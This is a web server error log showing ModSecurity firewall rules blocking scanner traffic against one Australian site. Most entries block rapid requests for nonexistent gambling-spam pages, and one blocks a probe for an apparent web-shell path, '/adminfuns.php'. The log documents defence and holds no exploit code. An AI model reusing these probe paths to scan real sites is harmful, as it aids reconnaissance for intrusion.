[Tue May 26 06:45:06.671980 2026] [:error] [pid 20125:tid 20144] [client 54.36.179.84:55616] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ahTQ8tk9jeWERFDLJc6QuQAAANE"]
[Tue May 26 06:45:09.160267 2026] [:error] [pid 20025:tid 20083] [client 54.36.179.84:33792] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ahTQ9X7k8Vts-JPOkgWvYgAAAFI"]
[Tue May 26 06:45:11.780425 2026] [:error] [pid 55988:tid 55991] [client 54.36.179.84:33808] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ahTQ9_3kVIz2sql52sdx8AAAAQA"]
[Tue May 26 06:45:14.274811 2026] [:error] [pid 20024:tid 20058] [client 54.36.179.84:33822] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ahTQ-ldk7QtxEB93NpcUcAAAABQ"]
[Tue May 26 06:45:16.780030 2026] [:error] [pid 20025:tid 20087] [client 54.36.179.84:42086] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ahTQ_H7k8Vts-JPOkgWvZwAAAFY"]
[Tue May 26 06:45:19.422046 2026] [:error] [pid 55988:tid 56011] [client 54.36.179.84:42090] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ahTQ__3kVIz2sql52sdx_gAAARQ"]
[Tue May 26 06:45:21.906972 2026] [:error] [pid 20024:tid 20038] [client 54.36.179.84:42106] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ahTRAVdk7QtxEB93NpcUdAAAAAA"]
[Tue May 26 06:45:24.376333 2026] [:error] [pid 55988:tid 55992] [client 54.36.179.84:42114] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ahTRBP3kVIz2sql52sdyAwAAAQE"]
[Tue May 26 06:45:26.724249 2026] [:error] [pid 20025:tid 20077] [client 54.36.179.84:42130] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ahTRBn7k8Vts-JPOkgWvcAAAAEw"]
[Tue May 26 06:45:29.215625 2026] [:error] [pid 20125:tid 20139] [client 54.36.179.84:33314] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ahTRCdk9jeWERFDLJc6Q0wAAAMw"]
[Tue May 26 06:45:31.694097 2026] [:error] [pid 55988:tid 56000] [client 54.36.179.84:33324] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ahTRC_3kVIz2sql52sdyKQAAAQk"]
[Tue May 26 08:20:48.196383 2026] [ssl:error] [pid 20024:tid 20041] [client 3.139.242.79:40993] AH02032: Hostname measureyourbrand.com provided via SNI and hostname measureyourbrand.com.au provided via HTTP have no compatible SSL setup, referer: https://measureyourbrand.com/
[Tue May 26 09:20:14.905296 2026] [:error] [pid 55988:tid 56009] [client 213.202.253.4:61084] [client 213.202.253.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "ahT1Tv3kVIz2sql52set4wAAARI"], referer: www.google.com
[Tue May 26 13:54:05.478005 2026] [:error] [pid 39336:tid 39354] [client 101.32.49.171:38456] [client 101.32.49.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/AutomatedBusinessLanding"] [unique_id "ahU1fdwmp9MmyaRNgiAoQAAAAU8"]
[Tue May 26 14:01:37.140101 2026] [:error] [pid 39336:tid 39346] [client 43.134.36.238:43024] [client 43.134.36.238] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/FullManualBusiness"] [unique_id "ahU3Qdwmp9MmyaRNgiAq9gAAAUc"]